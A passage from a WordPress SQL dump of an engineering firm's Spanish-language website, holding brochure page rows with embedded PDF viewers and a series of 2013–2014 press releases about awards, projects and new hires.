14:03:25','2011-12-01 14:03:25','',0,'http://moffattnichol.com/spanish/?page_id=1099',36,'page','',0),(1103,1,'2011-12-01 14:07:34','2011-12-01 14:07:34','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FPORT1SECURITY.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de seguridad portuaria','','publish','open','open','','port-security-brochure','','','2011-12-01 14:07:34','2011-12-01 14:07:34','',0,'http://moffattnichol.com/spanish/?page_id=1103',37,'page','',0),(1106,1,'2011-12-01 14:11:15','2011-12-01 14:11:15','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FGLOBAL1COMMERCIAL1ADVISORY1SERVICES.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de servicios consultivos comerciales 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height=\"780\" style=\"border: none;\"></iframe>','Folleto de dragado','','publish','open','open','','dredging-brochure','','','2011-12-01 14:38:59','2011-12-01 14:38:59','',0,'http://moffattnichol.com/spanish/?page_id=1123',43,'page','',0),(1130,1,'2011-12-01 17:15:31','2011-12-01 17:15:31','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FRAIL1SERVICES.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de servicios ferroviarios','','publish','open','open','','rail-services-brochure','','','2011-12-01 17:15:31','2011-12-01 17:15:31','',0,'http://moffattnichol.com/spanish/?page_id=1130',43,'page','',0),(1145,1,'2011-12-01 18:22:35','2011-12-01 18:22:35','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FURBAN1WATERFRONT.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de frentes de mar urbanos y puertos deportivos	','','publish','open','open','','urban-waterfronts-and-marinas-brochure','','','2011-12-01 18:22:35','2011-12-01 18:22:35','',0,'http://moffattnichol.com/spanish/?page_id=1145',44,'page','',0),(1148,1,'2011-12-01 18:27:21','2011-12-01 18:27:21','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FFERRY1TERMINALS.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de terminales de transbordadores','','publish','open','open','','ferry-terminals-brochure','','','2011-12-01 18:27:21','2011-12-01 18:27:21','',0,'http://moffattnichol.com/spanish/?page_id=1148',45,'page','',0),(1239,1,'2011-12-02 12:15:48','2011-12-02 12:15:48','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FOffshore_Electrical_Substation_Platform_Design_portal.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: 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El galardón fue recibido el 8 de mayo durante una ceremonia de entrega en la Conferencia y Show de  APWA Capítulo Atlántico Medio, realizado en Newport News, VA. La firma fue nominada por la Ciudad de Norfolk.  \r\n\r\n“Moffatt & Nichol se siente honrado de haber sido nominado por uno de nuestros más antiguos clientes y seleccionado por el APWA Capítulo Atlántico Medio como el Consultor del Año”, dijo Michael Rieger, Líder de Unidad de Negocio de la oficina de Norfolk de Moffatt & Nichol. “Esto puede atribuirse a un sólido compromiso con la atención al cliente y el arduo trabajo de nuestro equipo”. \r\n\r\nMoffatt & Nichol ha ejecutado servicios de ingeniería para varios proyectos con la Ciudad de Norfolk desde 2002, incluyendo inspección de estribos, protección costera e inspección subacuática con sus respectivos servicios de ingeniería relacionados. La firma ha desarrollado trabajos para otras municipalidades en el área del Atlántico Medio, incluyendo Virginia Beach, Portsmouth, Chesapeake, Suffolk, Newport News, Poquoson and Hampton. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"31\">Ceremonia Inicial En The Wharf, En Southwest Waterfront</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Sign.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Sign.jpg\" alt=\"\" width=\"400\" height=\"300\" /></a>\r\n\r\nLong Beach, CA, mayo 2 de 2014 – El 19 de marzo, el Southwest Waterfront del distrito de Columbia marcó un significativo hito cuando- luego de ocho años de debida diligencia, planeación, diseño, permisos y rezonificación- el equipo Hoffman-Madison Waterfront Development inició obras en The Wharf. Como miembro clave del equipo, Moffatt & Nichol es responsable de la planeación, diseño, permisos, inspección, estimación de costos y evaluación financiera de todos los elementos de frente de mar del proyecto. La firma también está proporcionando los servicios de un ingeniero residente de especialidad marítima para ofrecer apoyo en la construcción para todas las instalaciones marítimas. Entre los oradores de la ceremonia estuvieron los desarrolladores y líderes de la ciudad, incluyendo el alcalde Vince Gray y miembros del Concejo de D.C. \r\n\r\nThe Wharf será un desarrollo costero de uso mixto con clase mundial de una milla de extensión, ubicado en el histórico Washington Channel, con un área de desarrollo que se extiende por 24 hectáreas de terreno y más de 50 hectáreas de agua. Una vez completado, The Wharf contará con3.2 millones de pies cuadrados de área residencial, oficinas, hoteles, venta al detal, áreas culturales, marina y espacios públicos incluyendo parques costeros, paseos, muelles y embarcaderos. La Fase 1 que se estima se complete en 2017 incluye 1.5 millones de pies cuadrados de desarrollo. Del lado marítimo habrá cuatro muelles de acceso público, un club de yates privado y una nueva marina pública con instalaciones para visitar a los navegantes. \r\n\r\nEl plan acuático desarrollado por Moffatt & Nichol genera una gran cantidad de actividades marítimas que harán del Southwest Waterfron un destino regional. Toda la actividad marítima se conecta a tierra a través de una serie de muelles programables los cuales sirven como una extensión de la red de la ciudad hacia el agua. Estos muelles activos se conectarán a una calle compartida o un “muelle” en el centro del sitio, conduciendo a los peatones más allá de la línea costera y uniendo los usos terrestres y marítimos en un entorno urbano lleno de vida las 24 horas. \r\n\r\n“Nuestra meta con este proyecto es facilitar una variedad de actividades marítimas y servicios de clase mundial para equiparar las actividades en el lado terrestre”, comentó Rob Sloop, Gerente de Proyecto de Moffatt & Nichol para The Wharf. “De esta manera, los residentes y los visitantes por igual quedarán maravillados con el ambiente energético y estimulante de Southwest Waterfront”.  \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"30\">El Puerto De San Diego Mantiene Su Compromiso De Reducir Las Emisiones De Buques Con La Ayuda De Moffatt &amp; Nichol</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/photo.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/photo.jpg\" alt=\"\" width=\"400\" height=\"300\" /></a>\r\n\r\nSan Diego, CA, 30 de abril, 2014 – El Puerto de San Diego hizo un compromiso para reducir las  emisiones de buques para el año 2014  en Tenth Avenue Marine Terminal (TAMT), y cumplió esa promesa al encender la estación de energía en la costa el lunes 24 de febrero de 2014. Esta acción mejorará la calidad del aire y reducirá las emisiones de gases de efecto invernadero por encima de 50% al año, al permitir que buques cargueros “se conecten” en lugar de mantener encendidos sus propios motores a diésel mientras están en el puerto. Para colaborar en el logro de esta meta, Moffatt & Nichol llevó a cabo un detallado análisis del sistema eléctrico para maximizar el uso de los sistemas de conmutación y conductos existentes, y minimizar la longitud total de la excavación de zanjas que se requerían para los nuevos ductos.  Este diseño también incluye provisiones para una segunda futura subestación que proveerá energía a un segundo muelle, permitiendo que dos buques de contenedores refrigerados totalmente cargados (u otro tipo de buque) reciban energía desde la costa, simultáneamente. \r\n\r\n“Dedicación y trabajo en equipo entre el Puerto y Moffatt & Nichol fue lo que permitió el éxito de este proyecto” dijo Tyler Sparks, Ingeniero Eléctrico Senior y Gerente de Proyecto. “El equipo de ingeniería del puerto trabajó conjuntamente con el equipo de diseño de Moffatt & Nichol para diseñar, administrar la construcción y para lograr la puesta en marcha a tiempo y dentro del presupuesto. Estamos orgullosos de haber sido parte de este proyecto ambientalmente vanguardista.” \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"29\">Proyecto De Nuevo Tramo De Puente Entre San Francisco Y La Bahia De Oakland Gana Galardón De Proyecto Del Año Del Distrito 9 De ASCE</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/ASCE-Project-of-the-Year-2.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/ASCE-Project-of-the-Year-2.jpg\" alt=\"\" width=\"400\" height=\"300\" /></a>\r\n\r\nWalnut Creek, CA, 28 de abril de 2014 – El Distrito 9 de la Sociedad Americana de Ingenieros Civiles (ASCE) realizó su premiación anual el viernes 14 de marzo y proclamó el proyecto “San Francisco-Oakland Bay Bridge New East Span” como el ganador de la categoría Proyecto del Año. Como parte de un consorcio, Moffatt & Nichol proporcionó servicios de diseño de ingeniería para el reemplazo del segmento dual de losa paralela de 2.2 millas, en la porción Este del puente, que conecta con Yerba Buena Island en el Oeste y con Oakland en el Este. \r\n\r\n“Al igual que cualquier otro proyecto público de alto perfil, el nuevo puente de Bay Bridge atrae el interés de mucha gente. Estoy orgulloso de que nuestro equipo se mantuviera positivo y enfocado en alcanzar la meta de seguridad sísmica. El público ahora cuenta con un hermoso y seguro puente que servirá a la comunidad por muchos años” dijo Scott Buckley, administrador de proyecto y gerente de contrato. En nombre del equipo de diseño conformado por Caltrans/T.Y.Lin/Moffatt & Nichol estamos agradecidos con esta prestigiosa distinción de parte de ASCE Distrito 9.”\r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"28\">Robin Dolan Se Une A Moffatt &amp; Nichol Como Nuevo Líder De Servicios Comerciales</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Robin-Dolan-FINAL.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Robin-Dolan-FINAL.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nNueva York, Estados Unidos y Londres, Reino Unido, marzo 25, 2014— Moffatt & Nichol se complace en anunciar que Robin Dolan se une a la firma como Líder de Servicios Comerciales. Los servicios comerciales internos de la firma están basados en nuestras oficinas en Nueva York y Londres e incluyen expertos en logística y en proyectos marítimos especializados en la evaluación,  análisis, adquisición y fusión de infraestructuras marítimas, sistemas intermodales de transporte y pronósticos de mercado e ingresos asociados con el movimiento de carga. \r\n\r\nLuego de trabajar para Royal Navy en la década de los 80, el Sr. Dolan ha trabajado en puestos de creciente responsabilidad en la industria portuaria, incluyendo varias posiciones con P&O Ports en Londres y Nueva Jersey, entre 1998 y 2007. Recientemente fue Vicepresidente de Desarrollo Corporativo para PortsAmerica en Ciudad Jersey, Nueva Jersey. \r\n \r\nEl Sr. Dolan es altamente calificado para la identificación, evaluación, negociación y desarrollo de proyectos de terminales marítimas. Ha creado visiones de crecimiento estratégico para varias organizaciones y ha dirigido fusiones negociadas, adquisiciones, nuevos desarrollos y otros emprendimientos con organizaciones líderes en la industria marítima y portuaria. Posee también amplia experiencia en la ejecución y desarrollo de planes que conducen al crecimiento de organizaciones y marcan el camino para la rentabilidad continua y sostenible. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"27\">Moffatt &amp; Nichol Presenta A Marcos Vendramini Como Líder De Unidad Negocios Para La Oficina De Brasil</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Marcos-Vendramini-FINAL.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Marcos-Vendramini-FINAL.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nRío de Janeiro, Brasil, marzo 24, 2014— Moffatt & Nichol se complace en anunciar que Marcos Vendramini se une a nuestra oficina en Río de Janeiro, Brasil, como nuevo Líder de Unidad de Negocios. El Sr. Vendramini tiene más de 29 años de experiencia en proyectos de infraestructura de transporte, principalmente en puertos, ferrocarriles y aeropuertos. Su amplio portafolio de experiencia en Brasil y en los países vecinos incluye a varios de los actuales clientes de Moffatt & Nichol y también clientes en prospecto. El Sr. Vendramini también tiene considerable práctica en la operación de oficinas, administración de proyectos, negocios, planeación estratégica y manejo de cuentas de clientes. Recientemente fue Director para los puertos y negocios marítimos de AECOM. \r\n\r\n“Marcos está preparado para continuar la iniciativa que nació en Brasil un par de años atrás”, dijo Eric Nichol, Presidente de Moffatt & Nichol. “Su amplia trayectoria en la industria será un activo para nuestro equipo y nuestros clientes a medida que crecemos dentro del mercado brasileño”.\r\n\r\nEl Sr. Vendramini posee registro CREA en Brasil y obtuvo su Licenciatura en Ingeniería Mecánica Industrial de la Universidad Universidade Metodista de Piracicaba en Brasil y su Maestría en Planeación, Diseño y Administración de Sistemas Aeroportuarios en el Massachusetts Institute of Technology.\r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"26\">Moffatt &amp; Nichol Da La Bienvenida Paul Wallis Como Ingeniero Estructural Senior</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/04/Paul-Wallis.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/04/Paul-Wallis.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nANCHORAGE, AK, Marzo 20, 2014 – Moffatt & Nichol se complace en anunciar la incorporación de Paul Wallis, PE, SE, MLSCE al equipo de la oficina de Anchorage como ingeniero estructural Senior. Con más de 16 años de experiencia en diseño estructural y análisis de edificaciones nuevas y existentes, posee amplia experiencia en diseño y análisis de alta sismicidad y vientos fuertes  y proyectos de ingeniería en el Ártico, sub Ártico y Antártico. El Sr. Wallis será un valioso activo para el equipo de Moffatt & Nichol Anchorage, donde dirigirá proyectos a medida que la firma continua su crecimiento en el área. \r\n\r\nEl Sr. Wallis también aporta una sólida comprensión de administración de proyectos para una variedad de estudios. Esto incluye la investigación y diseño de instalaciones marítimas nuevas y existentes, construcciones verticales que van desde bodegas, hangares y oficinas en general, hasta una variedad de instalaciones industriales y militares e instalaciones para patios de gas y petróleo. Los clientes para los trabajos en los que el Sr. Willis ha participado van desde municipios, la Guardia Nacional del Ejército de los Estados Unidos, la Fuerza Aérea de los Estados Unidos, El Cuerpo de Ingenieros de los Estados Unidos, y la Fundación Nacional de Ciencias. \r\n\r\nEl Sr. Willis es un ingeniero estructural egresado de la Universidad de Alaska, Fairbanks, y posee registro de Ingeniero Profesional e Ingeniero Estructural.  También es miembro de la Junta Nacional de Inspectores para certificaciones de ingeniería y estudios para MLSE, es miembro activo de la Asociación de Ingenieros Estructurales de Alaska (SEAAK) y del Consejo de Profesionales de Diseño de Alaska (APDC), y es actualmente presidente para ambas agrupaciones. Otras afiliaciones profesionales incluyen el Instituto Americano de Construcción con Acero y la Sociedad Americana de Ingenieros Civiles. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"25\">Moffatt &amp; Nichol Da La Bienvenida A Jerry L. Neal, Como Ingeniero Senior Y Estimador De Costos</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/Jerry-Neal_052412_DutraGroup.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/Jerry-Neal_052412_DutraGroup.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nWALNUT CREEK, CA, 20 de febrero de 2014 – Moffatt & Nichol se complace en anunciar la integración de Jerry L. Neal a la oficina de la firma en Walnut Creek. Con más de 37 años de experiencia en importantes proyectos de construcción de ingeniería civil y marítimos, tanto nacionales como fuera del país, funcionará como Ingeniero Senior y como estimador de costos para Moffatt & Nichol.  \r\n\r\nAntes de Moffatt & Nichol, el señor Neal fue el jefe estimador de costos para The Dutra Group, durante 11 años. Bajo su cargo manejó un equipo de estimadores, ingenieros, personal de administración de contratos e ingenieros de costos. \r\n\r\nEl Sr. Neal se integra con un sólido conocimiento de gerencia y estimación de costos en una variedad de proyectos, incluyendo puertos, presas y diques, plantas eléctricas y minas. Sus proyectos pasados de particular interés incluyen la Marina Cabrillo Way del Puerto de Los Ángeles, la cual fue diseñada por Moffatt & Nichol y para la cual la firma ofreció servicios de adquisición de permisos y apoyo en la construcción. El Sr. Neal también trabajó en el Puerto de Oakland, Fase 3E profundización a -50 pies; Muelle 102 para el Puerto de Los Ángeles; dragado anual de mantenimiento para el Puerto de Anchorage y varios otros proyectos de rehabilitación y fortalecimiento de diques  en el Delta de California. \r\n\r\nIngeniero Registrado, el Sr. Neal recibió su diploma de Licenciatura en Ingeniería Civil del South Dakota School of Mines and Technology. También posee un título de Maestría en Administración Estratégica de Negocios, del California State University, East Bay. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"24\">David W. Huchel Se Une A Moffatt &amp; Nichol Como Asesor General</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/David-Huchel-Original.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/David-Huchel-Original.jpg\" alt=\"\" width=\"250\" height=\"350\" /></a>\r\n\r\nLONG BEACH, CA, 14 de febrero de 2014 – David Huchel se une a Moffatt & Nichol como Asesor General para la firma. Aporta más de 23 años de experiencia en legislación de construcción, litigios civiles, resolución de conflictos y mediación.  La carrera del Sr. Huchel se ha enfocado en apoyar clientes en la industria de la arquitectura, ingeniería y construcción. \r\n\r\n“Me llama la atención la tradición de excelencia de Moffatt & Nichol y su fuerte reputación en la industria”, comentó sobre su incorporación a la firma. “En el pasado, he trabajado con Moffatt & Nichol en la formación de equipos y otros acuerdos. Siempre me ha impresionado la solidez técnica y profesional de Moffatt & Nichol”. \r\n\r\nPrevio a Moffatt & Nichol, el Sr. Huchel trabajó para AECOM, donde fue Vicepresidente y Gerente Asesor de los grupos marítimos de la región oeste y América del Norte. Anteriormente fue el Asesor General y Secretario Corporativo para Boyle Engineering Corporation y fue Director de Boyle Holding Corporation, antes de que la firma fuera adquirida por AECOM. Con Boyle y AECOM apoyó la línea de negocios de servicios acuáticos y transporte, trabajando en una variedad de proyectos portuarios, de humedales y de frente de mar.  La práctica privada del Sr. Huchel en litigios civiles incluye seis años con Ford, Walker, Haggerty & Behar, para la oficina de la firma en Long Beach, California.\r\n\r\nFue admitido en la Asociación de Abogados de California en 1990, luego de obtener su diploma de Juris Doctor de University of the Pacific, McGeorge School of Law. El Sr. Huchel es miembro de la Asociación de Abogados Americanos, Asociación de Abogados de Los Ángeles, Asociación de Abogados del Condado de Orange y la Asociación de Asesores Corporativos. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"23\">Moffatt &amp; Nichol Anuncia Al Ingeniero Eric Burke Como Nuevo Líder De Unidad De Negocio Para La Oficina De Richmond</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/C.-Eric-Burke_MN.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/C.-Eric-Burke_MN.jpg\" alt=\"\" width=\"250\" height=\"374\" /></a>\r\n\r\nRICHMOND, VA, febrero 4, 2014—Moffatt & Nichol se complace en anunciar que el ingeniero Eric Burke, se une a nuestra firma como Líder de Unidad de Negocio para la oficina de Richmond. El Sr. Burke obtuvo su título de licenciatura y su maestría en Virginia Polytechnic Institute y cuenta con más de 20 años de experiencia en ingeniería civil y proyectos de transporte. Además, trae a la firma una probada trayectoria de exitoso manejo de operaciones multidisciplinarias de ingeniería y ambiente en Virginia, Carolina del Norte y Carolina del Sur. \r\n\r\nLa oficina de Richmond  de Moffatt & Nichol ha crecido 50 por ciento en los dos últimos años. El Sr. Burke será un valioso activo para el equipo de la oficina de Richmond donde estará a cargo de liderar el grupo de ingenieros profesionales y gerentes de proyectos, al tiempo que la firma continuará creciendo y expandiendo sus capacidades en la práctica de transporte hacia la región centro-atlántica de los Estados Unidos. \r\n\r\nA través de su carrera, el Sr. Burke ha estado relacionado con el diseño y construcción de proyectos en el este de los Estados Unidos. Trae a Moffatt & Nichol un amplio espectro de conocimientos y de manejo de proyectos de transporte gracias a su experiencia trabajando y administrando varios aspectos del diseño de transporte, planeación ambiental y permisos. También ha manejado varios contratos multianuales “on-call” para Federal Highway Administration, South Carolina Department of Transportation, la ciudad de Richmond y otras entidades públicas. \r\n\r\n“La vasta pericia técnica y administrativa de Eric se ajusta perfectamente con nuestra oficina de Richmond”, comentó el ingeniero Eric Nichol, presidente de Moffatt & Nichol. “Estamos complacidos que se haya unido a nuestro equipo de líderes para seguir proporcionando valor a nuestros clientes en el área”. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"22\">Kevin Rai Se Une A Moffatt &amp; Nichol Como Ingeniero Eléctrico Junior</h3>\r\n\r\nVANCOUVER CB, Canadá, enero 2014 - Moffatt & Nichol se complace en dar la bienvenida a Kevin Rai, para la posición de Ingeniero Eléctrico Junior en nuestra oficina de Vancouver. El Sr. Rai trabajó como técnico y diseñador eléctrico en los últimos años mientras completaba sus estudios en el Instituto de Tecnología de Columbia Británica. En marzo obtendrá el título de  Licenciatura en Tecnología en Ingeniería Eléctrica.\r\n\r\nPara el Sr. Rai, obtener esta posición en Moffatt & Nichol es solamente el comienzo. “El cielo es el límite con Moffatt & Nichol”,  comentó. “Estoy interesado en aprender de los diversos grupos de profesionales de la firma, de interactuar con clientes al tiempo que optimizo mi nivel de conocimiento y logro la experiencia requerida para obtener mi licencia profesional en ingeniería en la provincia de Columbia Británica y el estado de Washington”. \r\n\r\nEl Sr. Rai tiene experiencia directa trabajando con diseños eléctricos para clientes en la industria minera, pero transferirá sus destrezas a las áreas de práctica de Moffatt & Nichol, incluyendo energía, puertos, muelles y terminales marítimas. Sus servicios más frecuentes incluyen la preparación de planos, diseños, cálculos y estimaciones de costos para ingeniería convencional, investigación y desarrollo de tareas.\r\n\r\n“Estoy emocionado de utilizar mis conocimientos para contribuir con el crecimiento  y éxito del equipo de Moffatt & Nichol”, comentó el Sr. Rai. “Quiero agradecer al personal por recibirme a bordo con gran profesionalismo y actitud positiva. Espero poder trabajar y conocerlos a todos”. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"21\">Moffatt &amp; Nichol Se Destaca Con Una Mención Honorífica En La Competencia De Diseño “Por Un Rockaway Revivificado” (FAR ROC) En New York</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/FAROC-cap.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/FAROC-cap.jpg\" alt=\"\" width=\"500\" height=\"374\" /></a>\r\n\r\nLONG EACH, CA. Diciembre 17, 2013 – Como parte de un equipo, Moffatt & Nichol recientemente obtuvo la mención honorífica en la competencia internacional de diseño FAR ROC, con su plan de renovación de 80 acres en Arverne East en Rockaway, un comunidad costera fuertemente golpeada por la super tormenta Sandy más de un año atrás. \r\n\r\nMoffatt & Nichol fue el líder de la ingeniería costera para un equipo de 17 miembros dirigidos por Mithūn - sede en Seattle, Washington. La propuesta del equipo ofreció siete pasos para un sitio flexible y sostenible, que en el futuro sea capaz de resistir cualquier devastador desastre natural como lo fue Sandy. La idea comenzó con rodear el actual patrón de la tierra; expandir las fronteras; elevar las zonas de desarrollo; extender la infraestructura en fases completas; dotar de un distrito maestro; mejorar y reavivar la comunidad existente y preparar para cambios a largo plazo. \r\n\r\nLas comunidades costeras como Arverne East sufrieron algunos de los peores daños por la tormenta Sandy. Sin embargo, comunidades costeras cercanas como Arverne by the Sea se mantuvieron bastante bien gracias a drenajes pluviales mejorados, sitios elevados e infraestructuras fuertes, lecciones que Moffatt & Nichol incorporó en el plan a largo plazo para la costa de Arverne East. La propuesta incluyó la ampliación de la playa, veredas, mejoramiento de dunas, una explanada elevada y una forma urbana convexa. \r\n\r\n“Este esfuerzo fue único en el sentido de que el equipo desarrolló un plan creativo que consideró las incertidumbres para las futuras elevaciones del nivel del mar, aumento de la frecuencia de las tormentas y aumento de la densidad urbana en una solución práctica que es viable, financiable, y asegurable”, dijo Robert Sloop, Gerente de Proyecto Costero para el equipo de Moffatt & Nichol. La propuesta de diseño fue seleccionada entre 117 opciones de más de 20 países. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"20\">Moffatt &amp; Nichol Recibe Premio ACEC/NC Award Por Diseño De Sistemas De Manejo De Aguas Pluviales De La Whalehead Subdivision</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/ACEC.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/ACEC.jpg\" alt=\"\" width=\"500\" height=\"400\" /></a>\r\n\r\nRALEIGH, NC, Diciembre 16, 2013 – Moffatt & Nichol recibió el Premio Honorífico por Excelencia en la Ingeniería en la categoría agua / y aguas residuales por el diseño del sistema de manejo de agua residual de Whalehead Subdivision en el Condado de Currituck, Carolina del Norte, premio otorgado por el American Council of Engineering Companies, Carolina del Norte (ACEC/NC).\r\n\r\nMoffatt & Nichol proporcionó el diseño preliminar y final, documentos de construcción y administración limitada de la construcción, para el desarrollo en fases de un sistema de disminución del nivel freático. El sistema consiste en el bombeo de las aguas infiltradas a través de tuberías que llegan a las lagunas de bioretención, que posteriormente fluyen hacia Currituck Sound. Este estudio implicó la planeación maestra de las aguas pluviales, reemplazando las calles existentes con veredas y cuencas de bioretención con vegetación propia del lugar. También incluyó la instalación de tuberías de drenaje debajo de las cuencas y el bombeo de agua desde las tuberías de drenaje hacia una red de tuberías de impulsión que conducían hacia lagunas adyacentes a Currituck Sound.  \r\n\r\n“Moffatt & Nichol se siente honrado en haber contribuido con este proyecto dirigido a la comunidad”, dijo Timothy Reid, Vice Presidente de Moffatt & Nichol. “Estamos orgullosos de haber sido socios del Condado de Currituck y de los residentes de Whalehead en este innovador sistema de infiltración y bombeo,  uno de los primeros en su clase en Carolina del Norte. Este reconocimiento de ACEC/NC es un verdadero honor”. \r\n\r\nLa comunidad se beneficia con este proyecto primero a través de la reducción de las frecuentes y molestas inundaciones y la eliminación de inundaciones de larga duración después de fuertes lluvias. La remoción y reemplazo de la calle con veredas y áreas naturales también sirvió para embellecer y proveer una solución ecológica. La comunidad ha acogido el sistema que ofrece acceso público al mar y que también es una atracción, en lugar de una solución convencional.\r\n\r\nEl sistema se ha desempeñado bien durante varios huracanes y temporales del noreste y los residentes están listos para recibir las fases adicionales, comentó  Eric Weatherly, ingeniero de Currituck County. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"19\">Moffatt &amp; Nichol Abre Nuevas Oficinas En El Centro De New Orleans</h3>\r\n\r\nNEW ORLEANS, LA. Diciembre 12, 2013 – Moffatt & Nichol recientemente abrió una nueva oficina en el Pan American Building en el centro de New Orleans. Como complemento a la actual oficina de la firma en Baton Rouge, la integración de New Orleans constituye la trigésima oficina para esta firma internacional de ingeniería.\r\n\r\nBajo el liderazgo de Jonathan Hird con el cargo de Líder de Unidad de Negocios y Vicepresidente Asociado, los servicios profesionales de la firma en Luisiana se expanden de servicios de ingeniería costera a puertos intermodales, terminales marítimas, manejo de graneles, inspección y rehabilitación.  La firma ha tenido presencia en Luisiana desde 2001.\r\n\r\n“A través de contrataciones estratégicas y transferencias internas clave, nuestro equipo laboral de Luisiana ha crecido para incluir ingenieros costeros, civiles, hidráulicos, estructurales y mecánicos altamente capacitados y estamos creciendo rápido”, comentó el Sr. Hird. Estamos orgullosos de continuar sirviendo nuestros clientes locales con esta capacidad ampliada. \r\n\r\nUbicado en la ribera del río Mississippi, New Orleans es un centro de transporte crucial y un centro de distribución para el comercio que se mueve por agua. La nueva oficina servirá como instalación clave para suplir las necesidades de los clientes de Moffatt & Nichol localmente y a nivel mundial. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"18\">PhD Gerald McCrain se integra a Moffatt & Nichol como especialista ambiental Senior</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\"><img title=\"Gerald McCrain\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\" alt=\"\" width=\"130\" height=\"182\" /></a>\r\nRaleigh, Carolina del Norte. Diciembre 5, 2013 – Moffatt & Nichol le da la bienvenida a Jerry McCrain, para ejercer el cargo de especialista ambiental senior en nuestras oficinas de Raleigh. El doctor McCrain aporta más de 38 años de continua y progresiva experiencia en el campo, al igual que su pasión por el manejo ambiental. Ha colaborado con la planeación y manejo de importantes proyectos ambientales para el Departamento de Transporte de Carolina del Norte, al igual que para oficinas federales, del estado y agencias locales, aportando su experiencia a numerosos análisis de cuencas, humedales y estudios ambientales. También ha trabajado extensamente con el Triangle Transit Authority, con la Agencia de Protección del Ambiente y con el Programa de Mejoras al Ecosistema de Carolina del Norte. \r\n\r\nSus servicios ambientales más frecuentes para proyectos de transporte han incluido administración de proyectos, planeación estratégica, procesos y cumplimientos de regulaciones ambientales tales como el National Environmental Policy Act (NEPA), adquisición y cumplimiento de permisos, apoyo y asistencia a políticas y programas, evaluación funcional, evaluación de sitio, estudios de comunidad (humedales y terrestres), delineación, restauración y mitigación, y coordinación con agencias federales, estatales y locales. \r\n\r\nEl Dr. McCrain se describe como un facilitador en procesos en los que existen fuertes opiniones en ambos lados. “Creo en hacer las cosas de la manera correcta sin comprometer otros aspectos de nuestra vida”, comentó. “Debe haber un enfoque de 